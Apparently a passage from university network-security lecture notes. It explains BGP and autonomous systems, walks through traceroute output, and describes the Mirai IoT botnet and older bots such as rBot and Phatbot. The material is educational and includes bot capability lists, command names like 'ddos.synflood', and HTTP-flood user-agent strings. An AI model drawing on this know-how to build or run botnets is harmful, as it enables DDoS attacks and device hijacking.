- But what is BGP? BGP, defined officially in RFC4271, stands for “Border Gateway Protocol.” Most people think of the internet as a network of LANs, with each LAN connected to the rest of the internet through a router. This picture of the internet is only partly correct. There exists one more layer of aggregation in the internet: Above the level of routers that control access to LANs, the internet is divided into a network of Autonomous Systems (AS).

- A large network controlled by a single organization would qualify as an Autonomous System (AS). For example, AT&T, Comcast, Verizon, Level 3, Google, and even Purdue University are examples of ASs. And typically, an AS will have direct network connections with multiple other ASs through the internet backbone. To say the same thing a bit more precisely, the high-speed communication links between the different
autonomous systems form the internet backbone.

- Each AS is identified by a unique number called the **AS Number (ASN)**. [These numbers are doled out by the Regional Internet Registries: ARIN in the US and Canada, LACNIC in South America, RIPE in Europe, AFRINIC in Africa, APNIC in Asia, etc.] For example, for Google’s US operations, the ASN is AS15169. On the other hand, YouTube (although owned by Google) has a different ASN: AS36040. Purdue University’s ASN is AS17. You can visit the following tool to find the ASN of any organization:

  https://www.ultratools.com/tools/asnInfoResult

- **In general, an organization is granted the status of an AS if it plans to connect with multiple other ASs with different routing policies (which may involve financial charges for the transit or delivery of network traffic).** The routing between the ASs is carried out in network switches that are at the interconnection points between the networks of the different ASs.

- **In addition to the characterization by its assigned ASN, an AS is also characterized by its IP prefix.** The IP prefix for the Purdue AS is 128.46.0.0/16. What that means is that the IPv4 addresses for all of the hosts in the Purdue AS must have their first 16 bits fixed as indicated by the prefix notation, with the
first 8 bits corresponding to the decimal integer 128, and the next 8 bits to the integer 46.

- IP prefixes are allowed to have subset relationships. That is, the IP prefix for one AS may completely contain the IP prefix for another organization. One would think that with such subset relationships, the network traffic meant for the AS with the larger prefix (meaning a smaller range of IPv4 addresses) would be routed through the AS with the smaller prefix.

- Each AS enters into bilateral business relationships with a certain number of other ASs. The relationships are of two types: provider-customer and peer-peer. Provider-customer relationships may entail financial charges for the customer vis-a-vis the provider. ASs that have established such pairwise relationships interconnect through network switches at what are known as Network Access Points (NAP) or at regional switching points. Commonly, all bilateral relationships between the ASs are referred to as peering relationships.

- The business (or otherwise) relationships that an AS enters into for peering define its network neighborhood. Each AS broadcasts its ASN and its IP prefix to its neighbors through what are referred to as BGP announcements.

- If an AS $A$ has an AS $B$ as its immediate neighbor, $A$ transmits
to $B$ its BGP announcement $(\text{ASN}_A, \text{IP\_prefix}_A)$, where $\text{ASN}_A$ is $A$’s ASN and $\text{IP\_prefix}_A$ its IP prefix. And if $C$ is a neighbor of $B$, $B$ forwards to $C$ a BGP announcement that looks like $(\text{ASN}_B, \text{ASN}_A, \text{IP\_prefix}_A)$; and so on. As these announcements propagate from AS to AS in the internet, eventually all the ASs would know how to route the packets to the IP prefix for $A$.

- What that implies is that all of the routing in the internet backbone depends on the voluntarily transmitted BGP announcements from each AS to its immediate neighbors. This creates opportunities for hijacking the internet traffic meant for a specific IP prefix. Referred to as **prefix hijacking**, if you want to know more about this subject, here is an easy to read publication by **Sharon Goldberg**, a leading expert on the subject:

  https://queue.acm.org/detail.cfm?id=2668966

You may also find educational the following YouTube presentation by her:

https://www.youtube.com/watch?v=PQoa2coBCDs

- **From the standpoint DDoS attack mitigation**, since the routing policies regarding the exchange of traffic between the peers are configured and updated manually, an instant routing policy change can re-route an ongoing DDoS attack through a longer route in which the DDoS traffic can be subject to
**greater filtering.** As previously mentioned, ordinarily, the advertised peer neighborhoods are used by the routers to find the shortest paths to the destinations.

- An organization under attack may, for example, redirect the traffic to cloud-based traffic scrubbing centers run by DDoS mitigation vendors.

- Finally, as you are thinking about the routing of internet traffic and the role played by ASs, it is good to also play with the `traceroute` and/or the `tracepath` tools to see how many router boundaries a packet may have to go through in order to reach its destination. For example, when I am plugged into my home WiFi at a geographic location that is only a few blocks away from Purdue University and I invoke the command

  `traceroute rvl4.ecn.purdue.edu`

I get the following response:

```
traceroute to rvl4.ecn.purdue.edu (128.46.4.72), 64 hops max
  1 10.0.0.1 4.128ms 2.786ms 2.763ms
  2 96.120.112.229 13.950ms 12.434ms 15.049ms
  3 96.110.168.189 12.585ms 12.270ms 14.855ms
  4 68.86.188.97 20.250ms 19.707ms 20.058ms
  5 68.86.188.181 34.834ms 34.889ms 32.646ms
  6 68.86.91.165 37.175ms 32.522ms 32.292ms
  7 68.86.82.158 29.934ms 29.866ms 29.955ms
  8 162.252.69.149 30.093ms 29.755ms 29.996ms
  9 64.57.20.252 37.558ms 49.873ms 32.168ms
 10 149.165.183.4 29.914ms 29.958ms 34.907ms
 11 149.165.255.1 39.906ms 42.510ms 37.332ms
```
What this says is that it takes 15 router-to-router hops for a packet to travel from my home in West Lafayette to Purdue, a geographic distance of no more than a mile. Said another way, a packet leaving my laptop at home has to travel through 15 gateways to cover such a short distance. [The traceroute utility works typically by sending a succession of UDP packets to the destination. The TTL value in the first packet is set to 1 and then incremented by 1 for each successive packet. What that implies is that as the first such packet reaches the first gateway, its TTL will be decremented to 0, and it will go no further. Nonetheless, this first gateway will send an ICMP time-exceeded report back to the originating TCP/IP engine (in my laptop) with its own IP address. That is what you see in line 1 of the output shown above. (You see three time values in each line because traceroute sends out three UDP packets for each TTL setting. The three UDP packets with the same TTL value are sent at the same time — just to get three different values for the round-trip time.) Next, the traceroute utility sends again same UDP packet to the destination, but this time with a TTL of 2. Now the returned ICMP time-exceeded report will come from the second gateway along the route. That produces the output shown in line 2 above. Unfortunately, not all gateways return ICMP time-exceeded reports when the TTL for a packet they receive runs down to 0 (and, not uncommonly, even when a gateway sends back the ICMP report, it may not be received within the timeout used by traceroute). When that happens, you will see three asterisks (for the three attempts with the same TTL setting) in the output lines corresponding to those gateways. That is what you see in lines 12 through 15 in the output shown above. When the three attempts with the same TTL setting do not elicit an ICMP time-exceeded response, traceroute goes ahead anyway and makes the next attempt with the TTL incremented by 1. So now the probe UDP packet can traverse a longer path — even though we have no confirmation yet for the shorter path. If the assumption that the lack of ICMP reports from the shorter paths

12  *  *  *
13  *  *  *
14  *  *  *
15  *  *  *
16  128.46.4.72  41.329ms  39.694ms  35.011ms
was not because of network breakdown, the UDP packets with increasingly larger TTL values will eventually reach the gateway for the destination. If that gateway is allowed to send back the ICMP time-exceeded report, you will have a reliable count for the number of hops (with one hop being a gateway-to-gateway traversal) that it took to reach the destination.

- While some of the gateways listed in the output shown above are for the ASs that had to be crossed to get to the destination, the others might reflect just how a particular AS has organized the flow of traffic within its own domain.

- If you also want to see the symbolic hostnames associated with the gateways, you might try using the `tracepath` utility as shown below:

```
tracepath -b rvl4.ecn.purdue.edu
```

This produces the following response for the same destination:

```
1?: [LOCALHOST] pmtu 1500
1: _gateway (10.0.0.1) 16.114ms
1: _gateway (10.0.0.1) 14.837ms
2: 96.120.112.229 (96.120.112.229) 24.433ms
3: 96.110.168.189 (96.110.168.189) 19.631ms
4: be-22-ar01.indianapolis.in.indiana.comcast.net (68.86.188.97) 25.119ms
5: be-3-ar01.area4.il.chicago.comcast.net (68.86.188.181) 37.517ms
6: be-33491-cr02.350ecermak.il.ibone.comcast.net (68.86.91.165) 41.254ms
7: be-10563-pe01.350ecermak.il.ibone.comcast.net (68.86.82.158) 39.189ms
8: xe-2-3-1.0.rtsw2.eqch.net.internet2.edu (162.252.69.149) 34.258ms
9: lo-0.8.rtsw.chic.net.internet2.edu (64.57.20.252) 34.408ms
10: et-2-0-0.212.rtr2.chic.indiana.gigapop.net (149.165.183.4) 34.212ms
11: lo-0.1.rtr.ictc.indiana.gigapop.net (149.165.255.1) 44.364ms asymm 12
12: no reply
13: no reply
```
As you can tell from the names of the gateway hosts, a packet leaving my laptop at home in West Lafayette for Purdue has to first go down to somewhere in Indianapolis (a distance of roughly 70 miles from my home) and shuttle back up to the Chicago area (a distance of over 200 miles), travel back to Indiana, go who knows where, before ending up at Purdue. Pretty remarkable, isn’t it!
29.8 THE MIRAI BOTNET — EXPLOITING WEBCAMS TO LAUNCH INTENSE DDoS ATTACKS

- The Mirai botnet shot into prominence in September 2016 when it launched a massive 600 Gbs DDoS attack on the KrebsOnSecurity.com website that belongs to one of the most famous computer security bloggers — Brian Krebs. [The Wikipedia page on “Brian Krebs” has a wonderful summary of his background as a journalist and as an investigative reporter who writes about issues related to computer security. The Wikipedia page also tells you why anyone would want to shut down his website with a DDoS attack.] Later the same botnet attacked the OVH web hosting service in France with the largest DDoS attack they had ever experienced — at over 1 Tbps (one terabit per second). Another DDoS attack by the Mirai botnet that also received considerable media attention was on Dyn’s “Managed DNS Infrastructure” in October 2016.

- The Mirai based DDoS attacks that have received the most publicity seemed to have worked mostly off webcams and DVRs (digital video recorders) that are frequently used in video surveillance systems. More generally, though, such bots are meant for infecting “Internet of Things” (IoT) devices. Therefore, in order to understand the Mirai type of botnets, you need to know a bit about IoT. Mirai, in particular, was designed
to infect devices that use versions of Linux that are meant specifically for embedded devices. [In the IoT world, various variants of Linux are used for higher-level devices such as hubs, routers, data aggregators, and the more customized operating systems for endpoint devices that tend to be mostly sensors. Here is a list (created by Eric Brown in his series of IoT articles at Linux.com) of nine Linux-based open-source distributions meant specifically for IoT devices: Brillo, Huawei LiteOS, OpenWrt/LEDE/Linino/DD-Wrt, Ostro Linux, Raspbian, Snappy Ubuntu Core, Tizen, uClinux, and Yocto Project.]

- As the phrase “Internet of Things” implies, we are talking “things” that are connected to the internet. By all estimates, the universe of these “things” is literally exploding at the moment. Gartner has estimated that over 5 million IoT devices were connected to the Internet every day in 2016. The same estimate says that the number of IoT devices connected to the internet will exceed 20 billion by the year 2020. For another estimate that was issued in April 2015 in an article titled “The Internet of Things & IP Address Needs” in “Network Computing”, Cisco’s Azmi Jafarey says that the world will have more than 50 billion interconnected devices by the year 2020. [Basically, IoT stands for embedded devices that come with networking support. Such devices include webcams, DVRs, wearables (such as smart watches that talk to your smartphone and can notify you about incoming email and other events; fitness sensors that are usually worn around the wrist, but can also be clipped to the outer garments or worn around the neck; etc.); smart sensors used by farmers to monitor their crops; network-enabled sensors used in factories to monitor processes; etc.]

- While you are thinking about this huge and ever increasing number of IoT devices in the internet, also consider the fact
that most of these IoT devices are — as Brian Krebs puts it — “default-insecure”. What that means is that their manufacturers ship them with hard-coded user-names and passwords that are left unchanged by the users.

- Shown below is a segment of the scanner.c file from the Mirai code repository that shows username/password combos programmed into the malware.
Now add to the security vulnerabilities created by these preloaded set of login credentials the fact that IoT devices don’t possess the computational wherewithal for software maintenance and security-related updates. Although liquid soap dispensers are not yet amongst the “things” in IoT, but they could be. You would probably agree that, just for cost reasons alone, it would be foolish to expect such a thing to install security and other software updates. It would be one thing to expect a soap dispenser to come with a chip that would wirelessly report the fill-level to your smartphone once a day, and entirely another to also expect that the dispenser would possess computational resources needed to update its software when new security vulnerabilities are discovered.

The Mirai botnet randomly scans IP address blocks looking for connections with IoT devices, connections that can be made with the usernames and passwords programmed into the Mirai code, which by the way is now publicly available at GitHub as a source-code repository. Be careful if you decide to download the zipped archive from GitHub. The “dlr/release” directory of the archive includes the following eight executables that are the actual bots: dlr.arm, dlr.arm7, dlr.m68k, dlr.mips, dlr.mpsl, dlr.ppc, dlr.sh4, and dlr.spc that are meant for different processor architectures. Just imagine the consequences of you downloading dlr.arm7 in a Raspberry PI and then inadvertently executing the file.

Obviously, this raises the question of whether every IoT device is assigned a unique publicly accessible IP address. In general, the answer to that question is “No” since many such devices are meant to work as IoT endpoints that only talk to local smarter devices like smartphones, etc. However, there are many “higher level” IoT devices such as webcams, DVRs, and the devices that are programmed to act as hubs, switches, routers, data
aggregators, etc., for the sensor endpoints in factories and businesses (and, we may expect, in the smart homes of the future). It is these higher-level IoT devices with their IP addresses that are targeted by the Mirai type botnets. [For the specific DDoS attacks mentioned at the beginning of this section, Mirai used about 1.5 million webcams and DVRs made by a company called “Dahua Technology”. Apparently these cameras allow anyone to take control of the device by merely entering a long username with too many characters.]

- We can certainly expect that out of the billions of IoT devices, a few hundred millions may possess unique IP addresses that a botnet like Mirai could attack. Some estimates say that Mirai has infected 9 million devices — a large enough number to launch intense DDoS attacks. [It is estimated that there now exist around quarter of a billion networked security cameras around the world. Even if only a few tens of millions of these devices have unique IP addresses, that would do for a botnet for launching large DDoS attacks.]

- According to an analysis of the Mirai botnet provided by Ben Herzberg, Dima Bekerman, Igal Zeifman of Incapsula a DDoS attack by Mirai generally involve GRE, HTTP, DNS, SYN, ACK, and STOMP (Simple Text Oriented Message Protocol). [The GRE (Generic Routing Encapsulation) protocol is used to create an encrypted point-to-point tunnel in the underlying network for secure delivery of packets at the IP layer. With and without IPSec it is used in VPNs and for DDoS-protected delivery of content from the origin server to the proxy servers in Content Delivery Networks.]

- Again according to the authors mentioned in the previous
bullet, when Mirai creates a HTTP flood, it pretends to be one of the following browsers:

Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/60

- Finally, it is believed that Mirai is the latest in an evolving family of malware designed to attack Linux based devices. This family includes Lizkebab, BASHLITE, Torlus, and gafgyt. Now that Mirai source code is publicly available, we can certainly expect its future iterations to be developed even faster.
29.9 SOME OTHER WELL KNOWN BOTS AND BOTNETS

- Besides Mirai, there are literally thousands of different kinds of bots on the internet. In this section, I will mention some of these other bots and botnets that have received considerable attention in the general media and in the internet security literature.

- A large number of the older bots target the Windows platform. As mentioned in the previous section, a very important exception to this rule is the Mirai bot, presented in the previous section, this bot is meant for the variants of the Linux platforms used for the IoT devices.

- The exploits that are programmed into the more “famous” bots generally include:
  - capturing screenshots and video segments
  - key-logging
  - killing processes and threads
  - spamming
changing the modes of the C&C channel

randomly changing the nick in the C&C channel

scanning IP blocks and ports

installing rootkits

engaging in various kinds of DDoS attacks

and several other exploits.

- **rBot/RxBot**: This bot and its variants (which are generally referred to as Zotob) received a lot of media attention in 2005 when they managed to infect computers at several reputable organizations. This bot itself is considered to be a variant of Agobot, a bot programmed originally by Axel Gambe and made publicly available as open source software. The source code for rBot/RxBot is publicly available, but can only be built with the Visual Studio IDE. The syntax for the various commands in the rBot/RxBot looks like .capture for screenshot and video capture; .keylog for keylogging; .kill, .killproc, and .killthread for killing processes and threads; etc. A complete list of the commands that this bot can execute on an infected host can be found at 

http://www.angelfire.com/theforce/travon1120/RxBotCMDLIST.html

- **Phatbot**: This is another descendant of Agobot. But whereas Agobot (and rBot/RxBot and its variants) uses mostly IRC for C&C, Phatbot’s C&C is based on P2P. Also sports a very large command list. Its capabilities include being able to run the IDENT server on demand; being able to start up an FTP server
to deliver malicious code; being able to run SOCKS and HTTP proxies; being able to kill antivirus programs running on a host; begin able to sniff login names and passwords when in cleartext; etc.

The command syntax for Phatbot includes `bot.open` to open a file; `bot.execute` to execute a `.exe` file; `http.download` for downloading a file with the HTTP protocol; `pctrl.kill` for killing a process; `scan.enable` to enable a scanner module; `ddos.synflood` to start a SYN flood; etc. A complete list of commands that this bot understands is available at

http://www.secureworks.com/research/threats/phatbot/

- **Botnets meant specifically for sending large volumes of spam**: SecureWorks has carried out a study that was focused specifically on botnets that send out large volumes of spam. SecureWorks’s list of top spamming botnets: **Srizbi** with 315000 bots; **Bobax/Kraken** with 185000 bots; **Rustock** with 150000 bots (see the note in blue for an update on this botnet); **Cutwail** with 125000 bots; **Storm** with 85000 bots; **Grum** with 50000 bots; **OneWordSub** with 40000 bots; **Ozdok** with 35000 bots; **Nucrypt** with 20000 bots; **Wopla** with 20000 bots; and **Spamthru** with 12000 bots.

As mentioned at the beginning of this lecture, the Rustock botnet was recently dismantled by Microsoft with the help of a court ordered action that shut down the botnet’s C&C servers that Microsoft was able to locate in several US cities. By Microsoft’s latest reckoning, Rustock had infected close to a million computers and the botnet as a whole was sending out several billion drug-related spam messages a day.